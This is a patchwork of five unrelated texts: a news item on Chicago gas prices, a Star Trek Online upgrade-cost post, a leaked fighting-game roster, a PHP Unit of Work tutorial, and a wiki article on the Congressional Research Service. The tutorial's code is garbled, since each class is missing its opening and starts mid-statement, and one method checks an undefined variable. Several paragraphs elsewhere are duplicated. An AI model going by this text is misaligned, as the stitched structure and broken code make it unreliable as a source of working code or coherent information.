-MIAMI, FL - FEBRUARY 04: Carolina Villar pumps gas on February 4, 2013 in Miami, Florida. Reports indicate that gas pump prices are at their highest level on record for this period of the year and may be an indication that the year ahead may see even higher records. (Photo by Joe Raedle/Getty Images) (Photo by Joe Raedle/Getty Images)  CHICAGO (CBS) — Repairs at BP’s Whiting, Ind., refinery sent gasoline prices plunging last week across Chicago and nationwide, the biggest single-week drop this year.  In Chicago, the average price for a gallon stood at $3.03 on Sunday, which was down 28.7 cents compared with last week, according to GasBuddy.  One year ago, the average gasoline price was $3.70 a gallon.  The national average is $2.47/gallon–nearly a dollar cheaper than last year.  “Nationally, gas prices saw their largest weekly drop of the year,” said Patrick DeHaan, GasBuddy senior petroleum analyst.  “Prices moved lower in all but one state, Utah, with plunges at the pump throughout the Great Lakes as a result of BP’s Whiting, Indiana refinery coming back online.  “The national average now stands at its lowest point since April, a fitting way to close out the summer driving season with Labor Day approaching.”  DeHaan said prices should continue to fall in the next week as the cost at the pump has not fallen in concert with lower oil prices over the summer.
-Here we go again 😉 The new infographic takes into consideration the feedback we’ve had from the forums, pod casts and Reddit. Thanks again to everyone who assisted in making this possible.  Reddit Update:  Below the graphic is a bit of history surrounding this effort with a breakdown what we learned while doing this project. I apologize for the size for the 2.8 MB size of the PNG.  A Little History about the Infamous Infographic – Version One  The original infographic was released shortly after Delta Rising for Star Trek Online by Cryptic Studios. The goal of the infographic was to provide a ‘sum total’ of the costs for upgrading the most common builds for current players. It was limited to a single starship, it ignored the ground elements, and it offered a somewhat fuzzy interpretation of a cash value to achieve the upgrade from XII to XIV.  The original Infographic was controversial. For many it lacked accuracy; it lacked citation and sources. For others they felt it was unreasonable and presented in a negative way during a time when Cryptic was struggling to get a handle on player reactions. And for even more people, the infographic didn’t seem to go far enough.  Cryptic reacted to the communities concerns by making changes that impacted the original infographics’ data, primarily in the availability of R&D materials and the actual costs associated with R&D. Player familiarity with R&D and now secondary sources of information (spreadsheets and calculators produced separately from our efforts) became available to revisit the initial results.  Lastly market conditions as to costs and availability have stabilized on the last 2 weeks as players have become acclimatized to the changes.  What did we get right?  The initial costs remain unchanged, only the number of items upgraded has increased to reflect a full cruiser and ground equipment.CaptainGecko joked about the $83 cost associated with buying everything you needed. In truth the total is closer to $100 – but – you can do it without paying money if you don’t mind grinding for an extended period of time. Our estimates for a single toon is 69 days @ 4 hours per day.  The initial costs remain unchanged, only the number of items upgraded has increased to reflect a full cruiser and ground equipment.CaptainGecko joked about the $83 cost associated with buying everything you needed. In truth the total is closer to $100 – but – you can do it without paying money if you don’t mind grinding for an extended period of time. Our estimates for a single toon is 69 days @ 4 hours per day. What did we miss?  Understanding the impact of R&D, and how it’s actually cheaper and easier than we first thought. I’ll be dedicating a full post to crafting sometime in the next few weeks.  Understanding the impact of R&D, and how it’s actually cheaper and easier than we first thought. I’ll be dedicating a full post to crafting sometime in the next few weeks. What did we get wrong?  It was more expensive to upgrade than we had experienced; there is a 50% cost difference between upgrading very rare and reputation gear.The tone in which the graphic was extremely adversarial which was due primarily to the frustrations we all experiencing.  It was more expensive to upgrade than we had experienced; there is a 50% cost difference between upgrading very rare and reputation gear.The tone in which the graphic was extremely adversarial which was due primarily to the frustrations we all experiencing. What did we learn?  A lot. So much in fact we’re working on an Upgraders’ Quick Reference Sheet to help first time R&D players  What the Infographic doesn’t consider: Captains’ Runabout – Fighter – Shuttle, Quality options with upgrades, what upgrade options are ’the best’, the costs associated with leveling one toon from 1 to 50, and the variability with the RNG and availability or cost of acquiring R&D duty officers.  It doesn’t even try to take the Specialization process into consideration. That may come as a later project after the Command Specialization is released.  We also understand that everything regarding costs is in a constant state of flux. Cryptic has made changes, and will continue to make changes as it see fit. The rumored addition of Omega particle elements is one area we left out for lack of better knowledge.  As with the last infographic, if there is anything you feel we’ve gotten wrong, misspelled or provided poor attribution for, please let us know in the comments below.
-Rumor: Marvel vs. Capcom: Infinite full roster leaked  28 characters at launch. Six additional characters planned.  NeoGAF user Ryce who leaked the existence of Marvel vs. Capcom: Infinite before its December 2016 announcement in November, as well as provided repeated leaks and hints about the game post-announcement, has posted what he claims is the full roster for the upcoming fighting game.  Here is the list, as provided by Ryce:  Capcom Arthur  Chris  Chun-Li  Dante  Firebrand  Jedah  Monster Hunter  Morrigan  Nemesis  Ryu  Spencer  Strider Hiryu  X  Unknown character (Ryce guesses it’s someone like Frank West) Marvel Ant-Man  Captain America  Captain Marvel  Doctor Strange  Gamora  Hawkeye  Hulk  Iron Man  Nova  Rocket / Groot (Ryces says the character was named to him in this way, and that he’s not sure if it’s just Rocket Raccoon with Groot assists or a redesigned character actually called Rocket / Groot)  Spider-Man  Thanos  Thor  Ultron Downloadable Content Six additional characters planned for first season, including the already confirmed Sigma, and Venom.  Marvel vs. Capcom Infinite is due out for PlayStation 4, Xbox One, and PC on September 19.
-Even in the most basic scenario you can picture, where the logic of an application’s core is boiled down to just pulling in a few records from the database, bringing some domain objects to life, and then dumping them to the screen through an API of some basic rendering mechanism, there’s always an ongoing transaction behind the scenes whose most expensive facet often gets blurred beneath the appealing outward influence of the user interface.  If you think this through, you’ll notice that the crux of the matter is the transaction lies not surprisingly in the heap of database trips, even though they can be largely mitigated by a clever caching strategy. In relatively small applications, where there are just a few basic domain objects involved in each transaction, and where the hike to the database is just for retrieving data most of the time, a simple caching system dropped into the appropriate place certainly can help get things sorted out with efficiency.  While sad but true, reality is a ruthless creature always shouting at us radically different things than the sweet ones we’d rather hear instead. In most cases, because of the intrinsic, unavoidable mutability of domain objects (with a few scarce exceptions when the dependencies of domain classes are modelled around the concept of immutable Value Objects), chances are that some objects will need to be modified across multiple requests, and even new ones will be put in memory in response to some user-related event.  --ADVERTISEMENT--  In short, this means that even dummy CRUD applications that don’t encapsulate extensive chunks of additional business logic can quickly become bloated and generate a lot of overhead under the hood when it comes to performing multiple database writes. What if they reach a point where it’s necessary to handle a huge number of domain objects, which must be persisted and removed in sync, without compromising what us programming plebs loosely call data integrity?  Let’s be honest with ourselves (at least once). Neither all the lofty data source architectural patterns that we could just pick up along the way, nor that cool new approach we might have figured out overnight, can tackle satisfactorily something as predictable and mundane as writing out and removing multiple sets of data from storage. In light of this, should we just give up and call the issue pretty much a lost cause?  Admittedly the question is rhetorical. In fact, it’s feasible to wrap collections of domain objects inside a fairly flexible business transactional model and just perform several database writes/deletes in one go, therefore avoiding having to break down the process into more atomic and expensive database calls, which always lead to the session-per-operation antipattern. Moreover, this transaction-based mechanism rests on the academic formalities of a design pattern commonly known as Unit of Work (UOW), and its implementation in several popular enterprise-level packages, such as Hibernate, is quite prolific and prosperous.  On the flip side, PHP is, for obvious reasons, still elusive at having a variety of UOWs running in production, excepting in a few well-trusted libraries like Doctrine and RedBeanPHP, which use the pattern’s forces at disparate levels in order to process and coordinate operations on entities. Despite this, it would be certainly pretty educational to take a closer look at the benefits a UOW provides, that way you can see if they are something that may meet your requirements.  Registering Domain Objects with a Unit of Work  In his book Patterns of Enterprise Application Architecture, Martin Fowler discusses two mainstream approaches that can be followed when it comes to implementing a UOW: the first makes the UOW directly responsible for registering or queuing domain objects for insertion, update, or deletion, and the second shifts this responsibility over to the domain objects themselves.  In this case, since I’d like to have the domain model only encapsulating my business logic and remain agnostic about any form of persistence that may exist further down in other layers, I’m going to just stick to the commandments of the first option. In either case, you’re free to pick the approach you feel will fit the bill the best.  A lightweight implementation of a UOW might look like this:  dataMapper = $dataMapper; $this->storage = $storage; } public function getDataMapper() { return $this->dataMapper; } public function getObjectStorage() { return $this->storage; } public function fetchById($id) { $entity = $this->dataMapper->fetchById($id); $this->registerClean($entity); return $entity; } public function registerNew(EntityInterface $entity) { $this->registerEntity($entity, self::STATE_NEW); return $this; } public function registerClean(EntityInterface $entity) { $this->registerEntity($entity, self::STATE_CLEAN); return $this; } public function registerDirty(EntityInterface $entity) { $this->registerEntity($entity, self::STATE_DIRTY); return $this; } public function registerDeleted(EntityInterface $entity) { $this->registerEntity($entity, self::STATE_REMOVED); return $this; } protected function registerEntity($entity, $state = self::STATE_CLEAN) { $this->storage->attach($entity, $state); } public function commit() { foreach ($this->storage as $entity) { switch ($this->storage[$entity]) { case self::STATE_NEW: case self::STATE_DIRTY: $this->dataMapper->save($entity); break; case self::STATE_REMOVED: $this->dataMapper->delete($entity); } } $this->clear(); } public function rollback() { // your custom rollback implementation goes here } public function clear() { $this->storage->clear(); return $this; } }  It should be clear to see that a UOW is nothing but plain, in-memory object storage which keeps track of which domain objects should be scheduled for insertion, update, and removal. In short, the convention could be boiled down to something along these lines: domain objects that need to be added to the storage will be registered “NEW”; those being updated will be marked “DIRTY”; the ones flagged “REMOVED” will be… yep, dropped from the database. In addition, any object registered “CLEAN” will be kept frozen and safe in memory until the client code explicitly requests to modify its associated state.  Of course, the method that performs these persistence-related operations in just one single transaction is commit() , which exploits the functionality of an still undefined data mapper to get access to the persistence layer. It would be even easier for you to understand the UOW’s inner workings if I show you the implementation of the collaborators injected in its constructor, so here’s the components that compose the object storage module:  addAll($tempStorage); $this->removeAll($tempStorage); $tempStorage = null; } }  In this case in particular, I decided to use a slightly-customized implementation of the SplObjectStorage class for registering domain objects without much fuss along with their related states with the UOW, even though pretty much the same can be also achieved using plain arrays. Again, it’s up to you to have the domain objects registered by using the method that best accommodates your needs.  With the custom ObjectStorage class in place, let’s take a look at the implementation of the aforementioned data mapper:  adapter = $adapter; $this->collection = $collection; if ($entityTable !== null) { $this->setEntityTable($entityTable); } } public function setEntityTable($entityTable) { if (!is_string($table) || empty($entityTable)) { throw new InvalidArgumentException( "The entity table is invalid."); } $this->entityTable = $entityTable; return $this; } public function fetchById($id) { $this->adapter->select($this->entityTable, array("id" => $id)); if (!$row = $this->adapter->fetch()) { return null; } return $this->loadEntity($row); } public function fetchAll(array $conditions = array()) { $this->adapter->select($this->entityTable, $conditions); $rows = $this->adapter->fetchAll(); return $this->loadEntityCollection($rows); } public function insert(EntityInterface $entity) { return $this->adapter->insert($this->entityTable, $entity->toArray()); } public function update(EntityInterface $entity) { return $this->adapter->update($this->entityTable, $entity->toArray(), "id = $entity->id"); } public function save(EntityInterface $entity) { return !isset($entity->id) ? $this->adapter->insert($this->entityTable, $entity->toArray()) : $this->adapter->update($this->entityTable, $entity->toArray(), "id = $entity->id"); } public function delete(EntityInterface $entity) { return $this->adapter->delete($this->entityTable, "id = $entity->id"); } protected function loadEntityCollection(array $rows) { $this->collection->clear(); foreach ($rows as $row) { $this->collection[] = $this->loadEntity($row); } return $this->collection; } abstract protected function loadEntity(array $row); }  The AbstractDataMapper puts behind a pretty standard API the bulk of logic required for pulling domain objects in and out of the database. To make things even easier, it’d be also nice to derivate a refined implementation of it, that way we could easily test the UOW with a few sample user objects. Here’s how this extra mapping subclass looks:   $row["id"], "name" => $row["name"], "email" => $row["email"], "role" => $row["role"])); } }  At this point we just could put our hands on the UOW and see if its transactional schema delivers what it promises. But before we do, first off we really should drop at least a few domain objects in memory. That way, we can get them neatly registered with the UOW. So let’s now define a primitive Domain Model which will be charged with supplying the objects in question.  Defining a basic Domain Model  Frankly speaking, there are several ways to implement a functional Domain Model (most likely there exists one per developer living and breathing out there). Since in this case I want the process to be both painless and short, the model I’ll be using for testing the UOW will be composed just of a prototypical entity class, along with a derivative, which will be charged with spawning basic users objects:   $value) { $this->$name = $value; } } } public function setField($name, $value) { return $this->__set($name, $value); } public function getField($name) { return $this->__get($name); } public function fieldExists($name) { return $this->__isset($name); } public function removeField($name) { return $this->__unset($name); } public function toArray() { return $this->fields; } public function __set($name, $value) { $this->checkAllowedFields($name); $mutator = "set" . ucfirst(strtolower($name)); if (method_exists($this, $mutator) && is_callable(array($this, $mutator))) { $this->$mutator($value); } else { $this->fields[$name] = $value; } return $this; } public function __get($name) { $this->checkAllowedFields($name); $accessor = "get" . ucfirst($name); if (method_exists($this, $accessor) && is_callable(array($this, $accessor))) { return $this->$accessor(); } if (!$this->__isset($name)) { throw new InvalidArgumentException( "The field '$name' has not been set for this entity yet."); } return $this->fields[$name]; } public function __isset($name) { $this->checkAllowedFields($name); return isset($this->fields[$name]); } public function __unset($name) { $this->checkAllowedFields($name); if (!$this->__isset($name)) { throw new InvalidArgumentException( "The field "$name" has not been set for this entity yet."); } unset($this->fields[$name]); return $this; } protected function checkAllowedFields($field) { if (!in_array($field, $this->allowedFields)) { throw new InvalidArgumentException( "The requested operation on the field '$field' is not allowed for this entity."); } } }  fields["id"])) { throw new BadMethodCallException( "The ID for this user has been set already."); } if (!is_int($id) || $id < 1) { throw new InvalidArgumentException( "The user ID is invalid."); } $this->fields["id"] = $id; return $this; } public function setName($name) { if (strlen($name) < 2 || strlen($name) > 30) { throw new InvalidArgumentException( "The user name is invalid."); } $this->fields["name"] = htmlspecialchars(trim($name), ENT_QUOTES); return $this; } public function setEmail($email) { if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { throw new InvalidArgumentException( "The user email is invalid."); } $this->fields["email"] = $email; return $this; } public function setRole($role) { if ($role !== self::ADMINISTRATOR_ROLE && $role !== self::GUEST_ROLE) { throw new InvalidArgumentException( "The user role is invalid."); } $this->fields["role"] = $role; return $this; } }  While the implementations of the AbstractEntity and User classes might look complex at first glance, I assure this is just a fuzzy impression. In fact, the former is a skeletal wrapper for some typical PHP magic methods, while the latter encapsulates some straightforward mutators, in order to assign the appropriate values to the fields of generic user objects.  With these domain classes already doing their business in relaxed insulation, let’s now do the last building block of the model. In reality, this is an optional class which can be skipped over if the situation warrants, and its responsibility is just to wrap collections of entities. Its implementation is as following:  entities = $entities; } } public function add(EntityInterface $entity) { $this->offsetSet($entity); } public function remove(EntityInterface $entity) { $this->offsetUnset($entity); } public function get($key) { $this->offsetGet($key); } public function exists($key) { return $this->offsetExists($key); } public function clear() { $this->entities = array(); } public function toArray() { return $this->entities; } public function count() { return count($this->entities); } public function offsetSet($key, $entity) { if (!$entity instanceof EntityInterface) { throw new InvalidArgumentException( "Could not add the entity to the collection."); } if (!isset($key)) { $this->entities[] = $entity; } else { $this->entities[$key] = $entity; } } public function offsetUnset($key) { if ($key instanceof EntityInterface) { $this->entities = array_filter($this->entities, function ($v) use ($key) { return $v !== $key; }); } else if (isset($this->entities[$key])) { unset($this->entities[$key]); } } public function offsetGet($key) { if (isset($this->entities[$key])) { return $this->entities[$key]; } } public function offsetExists($key) { return $key instanceof EntityInterface ? array_search($key, $this->entities) : isset($this->entities[$key]); } public function getIterator() { return new ArrayIterator($this->entities); } }  At this point we’ve managed to create a primitive domain model, which certainly we can use for engendering user objects without a major hassle. In doing do, we have a real chance to see if the UOW is actually the functional component it seems to be when it comes to persisting multiple entities in the database as one single transaction.  Putting the UOW Under Test  If you’ve reached this point of the article, you probably feel like you’re being pulled in opposite directions, wondering if all of the hard up front work required in writing a bunch of interfaces and classes was really worth it. In fact, it was. Moreover, if you’re still skeptical, make sure check the following code snippet, which shows how to put the UOW to work in sweet synchrony with some naïve user objects:  register(); $adapter = new PdoAdapter("mysql:dbname=test", "myfancyusername", "myhardtoguesspassword"); $unitOfWork = new UnitOfWork(new UserMapper($adapter, new EntityCollection), new ObjectStorage); $user1 = new User(array("name" => "John Doe", "email" => "john@example.com")); $unitOfWork->registerNew($user1); $user2 = $unitOfWork->fetchById(1); $user2->name = "Joe"; $unitOfWork->registerDirty($user2); $user3 = $unitOfWork->fetchById(2); $unitOfWork->registerDeleted($user3); $user4 = $unitOfWork->fetchById(3); $user4->name = "Julie"; $unitOfWork->commit();  Leaving aside some irrelevant details, such as assuming there’s effectively a PDO adapter living somewhere, the driving logic of the earlier script should be fairly easy to assimilate. Simply put, it shows off how to get things rolling with the UOW, which drags in some user objects from the database and queues them for insertion, update, and deletion by using the corresponding registering methods. At the end of the process, commit() just loops internally over the registered objects and performs the proper operations all in one go.  While in a standard implementation a UOW does expose the typical set of registering methods that we’d expect to see, its formal definition doesn’t provide any kind of finder. In this case, however, I decided intentionally to implement a generic one so you can see more clearly how to pull in objects from storage and in turn register them with the UOW without struggling with the oddities of a standalone, closer-to-the domain structure, such as a Repository or even an overkill Service.  Closing Thoughts  Now that you’ve peeked behind the curtain at a UOW and learned how to implement a naïve one from scratch, let your wild side show and tweak it at your will.  Keep in mind though that while there are benefits with the pattern, it’s far from being a panacea that will solve all of the issues associated with massive accesses to the persistence layer. In enterprise-level applications that must perform expensive database writes across several places, though, a UOW provides an effective, transactional-like approach that reduces the underlying overhead, hence becoming a solid, multifaceted solution when properly coupled to a caching mechanism.  Image via Zhukov Oleg / Shutterstock
-History Edit  In 1914, Senator Robert La Follette Sr. and Representative John M. Nelson, both of Wisconsin, promoted the inclusion in the legislative, executive, and judicial appropriations act of a provision directing the establishment of a special reference unit within the Library of Congress.[5] Building upon a concept developed by the New York State Library in 1890, and the Wisconsin Legislative Reference Library in 1901, they were motivated by Progressive era ideas about the importance of the acquisition of knowledge for an informed and independent legislature.[4] The move also reflected the expanding role of the librarian and the professionalization of the profession.[4] The new department was charged with responding to congressional requests for information.[4] The legislation authorized the Librarian of Congress, Herbert Putnam, to “employ competent persons to prepare such indexes, digests, and compilations of laws as may be required for Congress and other official use...” (The intent behind the creation of the agency can be derived from U.S. Senate, Committee on the Library, Legislative Drafting Bureau and Reference Division, 62d Cong., 3d sess., 1913, S. Rept.1271.) Renamed the Legislative Reference Service and given a permanent authorization with the Legislative Reorganization Act of 1946,[6] it assisted Congress primarily by providing facts and publications and by transmitting research and analysis done largely by other government agencies, private organizations, and individual scholars.[4] The Library of Congress, the home of CRS, had experimented during the 1940s with unrestricted publication Public Affairs Bulletins, which were produced by staff of the Legislative Reference Service, and devoted to various public policy issues. They were promoted by Archibald MacLeish, the Librarian of Congress, and, among other topics, addressed timely policy issues, such as American national defense. About 100 Public Affairs Bulletins were generated[7] before congressional appropriators ended their production in 1951.[8] The renaming under the Legislative Reorganization Act of 1970 reflected the service's changing mission:[4] This legislation directed CRS to devote more of its efforts and increased resources to doing research and analysis that assists Congress in direct support of the legislative process.[9] When the Congressional Research Service Review was launched in 1980, it continued for a little more than a decade before congressional appropriators, once again, invoked fiscal closure. The Review, which was published ten times a year and available to the public by subscription, offered original analytical articles, summaries highlighting CRS research products, and other kinds of assistance to the congressional community.[7] As inquiries increased from 400,000 questions per year in 1980 to 598,000 in 2000, CRS sought to prepare itself for future challenges, initiating an organizational realignment in 1999. The realignment, which has required extensive relocation of staff and the design of more efficient workstations, was intended to promote improved communication within CRS and increase the service's ability to focus on legislative deliberations of Congress by applying its multidisciplinary expertise to public policy issues in user-friendly, accessible formats when Congress needs assistance.[10]  Mission Edit  CRS offers Congress research and analysis on all current and emerging issues of national policy.[4] CRS offers timely and confidential assistance to all Members and committees that request it, limited only by CRS’s resources and the requirements for balance, nonpartisanship and accuracy.[4] CRS makes no legislative or other policy recommendations to Congress; its responsibility is to ensure that Members of the House and Senate have available the best possible information and analysis on which to base the policy decisions the American people have elected them to make.[4] In all its work, CRS analysts are governed by requirements for confidentiality, timeliness, accuracy, objectivity, balance, and nonpartisanship. CRS services are not limited to those that relate directly to enacting new laws. For example, CRS attempts to assess emerging issues and developing problems so that it will be prepared to assist the Congress if and when it becomes necessary. Although it rarely conducts field research, CRS assists committees in other aspects of their study and oversight responsibilities. In addition, it offers numerous courses, including legal research seminars and institutes on the legislative process, the budget processes, and the work of district and state staff. At the beginning of each Congress, CRS also provides an orientation seminar for new Members.[4] CRS does not conduct research on sitting Members or living former Members of Congress, unless granted specific permission by that Member or if that Member is nominated by the President for another office.[4]  Organization Edit  CRS is now divided into six interdisciplinary research divisions, each of which is further divided into subject specialist sections. The six divisions are: American Law; Domestic Social Policy; Foreign Affairs, Defense and Trade; Government and Finance; Knowledge Services; and Resources, Science and Industry.[11] The six research divisions are supported in their work by five “infrastructure” offices: Finance and Administration, Information Management and Technology, Counselor to the Director, Congressional Information and Publishing, and Workforce Management and Development.[12]  Overview of services Edit  Responses to Congressional requests take the form of reports, memoranda, customized briefings, seminars, videotaped presentations, information obtained from automated databases, and consultations in person and by telephone.[4] CRS "supports the Members, committees, and leaders of the House and Senate at all stages of the legislative process":[4] Ideas for legislation. A 2008 CRS report details how the service can assist legislators in evaluating the need for legislation: At the preliminary stage, members may ask CRS to provide background information and analysis on issues and events so they can better understand the existing situation and then assess whether there is a problem requiring a legislative remedy. This assistance may be a summary and explanation of the scientific evidence on a technically complex matter, for example, or it may be a collection of newspaper and journal articles discussing an issue from different perspectives, or a comparative analysis of several explanations that have been offered to account for a generally recognized problem. CRS also identifies national and international experts with whom Members and staff may consult about whatever issues concern them and sponsors programs at which Members meet with experts to discuss issues of broad interest to Congress.[4] Analyzing a bill. The same 2008 report also clarifies the various ways in which the service further supports the work of legislators once a bill has been introduced: If a Member decides to introduce a bill, CRS analysts can assist the legislator in clarifying the purposes of the bill, identifying issues it may address, defining alternative ways for dealing with them, evaluating the possible advantages and disadvantages of each alternative, developing information and arguments to support the bill, and anticipating possible criticisms of the bill and responses to them. Although CRS does not draft bills, resolutions, and amendments, its analysts may join staff consulting with the professional draftsman within each chamber’s Office of the Legislative Counsel as they translate the Member’s policy decisions into formal legislative language. Members and committees also can request CRS to help them assess and compare legislative proposals, including competing bills introduced by Members and proposals presented by executive branch officials, private citizens and organizations. CRS can assess the intent, scope, and limits, of the various proposals.[4] The report goes on: During committee and floor consideration, CRS can assist Representatives and Senators in several different ways, in addition to providing background information to assist Members in understanding the issues a bill addresses. CRS attorneys can help clarify legal effects the bill may have. CRS policy analysts can work with Members in deciding whether to propose amendments and then in making certain that their amendments are designed and phrased to achieve the desired results. CRS also can help Members prepare for the debate by providing data and other information that they can use to support the positions they have decided to take.[4] Hearings . When a subcommittee selects a bill (or several bills on the same subject) for serious attention, it usually begins by conducting public hearings on one or more days at which executive branch officials, other Members of Congress, representatives of private organizations, and even individual citizens present their views on the bill’s merits. CRS analysts can assist in this process by providing background information and reports, presenting a preliminary briefing to Members or staff, identifying potential witnesses, and suggesting questions that Members may consider asking the witnesses.  . When a subcommittee selects a bill (or several bills on the same subject) for serious attention, it usually begins by conducting public hearings on one or more days at which executive branch officials, other Members of Congress, representatives of private organizations, and even individual citizens present their views on the bill’s merits. CRS analysts can assist in this process by providing background information and reports, presenting a preliminary briefing to Members or staff, identifying potential witnesses, and suggesting questions that Members may consider asking the witnesses. Subcommittee or committee votes . After the hearings on a bill, the subcommittee or committee meets to debate and vote on amendments to it. If requested, CRS staff may attend these meetings to serve as a nonpartisan source of expert information available to all Members. If the subcommittee and then the full committee conclude that new legislation is needed, they report a bill to the House or Senate for all its Members to consider. The committee also submits a written report that explains the background for its decision, analyzes the purposes and effects of each major provision of the bill, and includes other information, such as predictions about the cost of implementing it, that help other Members decide whether they should support the bill. CRS specialists may assist the committee’s staff in preparing some sections of this report, although cost estimates are developed by the Congressional Budget Office.  . After the hearings on a bill, the subcommittee or committee meets to debate and vote on amendments to it. If requested, CRS staff may attend these meetings to serve as a nonpartisan source of expert information available to all Members. If the subcommittee and then the full committee conclude that new legislation is needed, they report a bill to the House or Senate for all its Members to consider. The committee also submits a written report that explains the background for its decision, analyzes the purposes and effects of each major provision of the bill, and includes other information, such as predictions about the cost of implementing it, that help other Members decide whether they should support the bill. CRS specialists may assist the committee’s staff in preparing some sections of this report, although cost estimates are developed by the Congressional Budget Office. Parliamentary procedure . CRS staff can clarify the legislative procedures of the House and Senate, assisting Members and staff in understanding the effects of these procedures and how Members can use the procedures to promote their own legislative goals.  . CRS staff can clarify the legislative procedures of the House and Senate, assisting Members and staff in understanding the effects of these procedures and how Members can use the procedures to promote their own legislative goals. Conference committees. CRS analysts can contribute to this last stage of the legislative process by helping identify the issues to be resolved, by clarifying and comparing the positions of the two houses on each issue, and by identifying different ways in which the legislative disagreements could be resolved. CRS also performs several functions that support Congressional and public understanding of the legislative process and other issues. Bill Summaries . Since 1935 the Legislative Analysis and Information Section (formerly "Bill Digest") of CRS has had statutory responsibility for preparation of authoritative, objective, nonpartisan summaries of introduced public bills and resolutions and maintenance of historical legislative information. Detailed revised summaries are written to reflect changes made in the course of the legislative process. This CRS office also prepares titles, bill relationships, subject terms, and Congressional Record citations for debates, full texts of measures, and Member introductory remarks. The bill summaries are released to the public via THOMAS, the Library of Congress's online database. [13]  . Since 1935 the Legislative Analysis and Information Section (formerly "Bill Digest") of CRS has had statutory responsibility for preparation of authoritative, objective, nonpartisan summaries of introduced public bills and resolutions and maintenance of historical legislative information. Detailed revised summaries are written to reflect changes made in the course of the legislative process. This CRS office also prepares titles, bill relationships, subject terms, and Congressional Record citations for debates, full texts of measures, and Member introductory remarks. The bill summaries are released to the public via THOMAS, the Library of Congress's online database. Constitution Annotated. The American Law Division of the Congressional Research Service prepares the Constitution of the United States of America—Analysis and Interpretation (popularly known as the Constitution Annotated),[14] a continuously updated legal treatise that explains the U.S. Constitution as it has been interpreted by the U.S. Supreme Court.  CRS websites Edit  Current Members of Congress and their offices may access the CRS website (www.crs.gov) and CRS's Legislative Information Service (LIS) website (www.congress.gov). The two sites are the most comprehensive and integrated sources of information regarding workings of the federal government, and are arguably the best sources of information regarding the legislative process of the United States.[15] These sites provide all information necessary to become informed about any aspect of government. They also have the information needed to keep up-to-the-minute on most legislation including information from past bills similar to the current legislation; historical information about the legislation; biographical data about the Members who introduced it; the ability to track the legislation as it moves through committee hearings to the Floor; and links to information about the legislation in the Congressional Record, Floor and committee schedule information, and the Federal Register.[16] Neither of these websites is available to the public. In order to prevent public access to the websites, CRS has erected an elaborate firewall to keep the public out. Taxpayers are only allowed access to THOMAS (thomas.loc.gov). In fact, when the public tries to access the LIS, they are automatically forwarded to THOMAS without warning.[15] www.crs.gov. The CRS website provides CRS publications on current legislative issues, electronic briefing books, information on the legislative and budget processes, a searchable database of all CRS products, and other information about Congressional procedures and activities. www.congress.gov. The LIS website is specifically designed to track legislation and legislative activity. According to the CRS, "The LIS ... provides bill summary and status, full text of legislation and public laws, full text of committee reports, hearings, and other documents, and the Congressional Record for the current and earlier Congresses. The system also gives (and is searchable by) committee, sponsorship, and cosponsorship; identification of identical bills; and other information."[17] The LIS varies substantially from the system which is available to the public at the Library of Congress' THOMAS website (thomas.loc.gov). In fact, CRS has a special page detailing the enhanced capabilities of the restricted LIS website over the public THOMAS website. The following is CRS's comparison of the LIS (www.congress.gov) with THOMAS (thomas.loc.gov):[18] Service Legislative Information System Thomas Website www.congress.gov thomas.loc.gov Who Can Use It Available to the public. (Previously only available to Congress, including state and district offices, and legislative support agencies. Some features listed below may no longer be available.) Available to the public. Best Used For Finding the most complete legislative information for congressional staff or for a Member; obtaining information, using databases, and linking to pages that are not available to the public on THOMAS. Should not be used for making links from Member or committee home page (since the public cannot access LIS). Working with constituents; making links from Member or committee home pages; making printouts that are to be sent to constituents. Commercial Databases Links to databases that have been licensed for use by House and Senate staff, such as National Journal and the AP Newswire. Links from the status of a bill to National Journal markups. No links to commercial databases. CRS Reports Links from Bill Summary & Status display to CRS reports related to a bill. Ability to search all CRS reports via the CRS Home Page; these products can be searched, displayed, and printed. No CRS reports are available to the public. Restricted links Links to restricted Capitol Hill Web sites such as the House Intranet, Senate Webster, and Senate amendment tracking system. No links to restricted Capitol Hill Web sites. Floor & Committee Schedule Information Links to Capitol Hill and outside sources of floor and committee schedule information, selected to be of most use to congressional staff. Minimal links to floor and committee schedule information. Advanced search capabilities Special advanced search capabilities, providing Boolean searching (and, or, not), word proximity searching (quotes to indicate phrases, adj/l, near/l), and other features. Only basic search capabilities. Saved searches and email alerts The ability to save searches and to request daily email alerts of new items added to databases that meet the search criteria. No ability to save searches or request email alerts.  Written work-product Edit  Document types include CRS Reports, appropriations Reports (usually released as a Long Report), and Congressional distribution memoranda.[19] CRS Reports Edit Main article: CRS Report The most commonly requested CRS product is the general congressional distribution reports, known as "CRS Reports". The purpose of a report is to clearly define the issue in the legislative context.[19] The types of CRS reports include Issue Briefs (IB), Research Memos (RM), and Reports, which appear in both Short (RS) and Long (RL) formats.[20] Over 700 new CRS reports are produced each year and made available to Congressionals at www.crs.gov.[19] 566 new products were prepared in Fiscal Year 2011.[21] Nearly 7,800 are in existence as of the end of 2011.[21] Other than a passing generic reference to "reports" in its statutory charter, CRS has no mandate for these products.[22] They are created in the context of the overall mission of CRS to provide research support to Congress.[7] The reports may take many forms, including policy analysis, economic studies, statistical reviews, and legal analyses.[19] CRS reports are considered in-depth, accurate, objective, and timely, and topped the list of the "10 Most-Wanted Government Documents" survey by the Center for Democracy and Technology in 1996.[23] Copyright status Edit The New York Times has written that the reports contain neither classified information nor copyrighted information.[24] The CRS has written:[25] "CRS may incorporate preexisting material in its written responses to congressional requests. Although such material is often from public domain sources, in certain instances the material, appropriately credited, may be from copyrighted sources. To the extent that the material is copyrighted, CRS either: obtains permission for the use; [Footnote: Although CRS obtains permission to reproduce certain copyrighted works, the permissions are generally based on legislative use and the expectation that dissemination is limited to Members of Congress.] considers its information-gathering function protected by the speech or debate clause; or believes that the use falls under the 'fair use' doctrine of the Copyright Act as applied in the context of the legislative process."  Public access to CRS Reports Edit  Main article: Congressional Research Service reports Prior to September 2018 CRS products were only made directly available to members of Congress, Congressional committees, and CRS's sister agencies (CBO and GAO) through the internal CRS Web system. As of September 18th 2018 the official US government website crsreports.congress.gov.  See also Edit
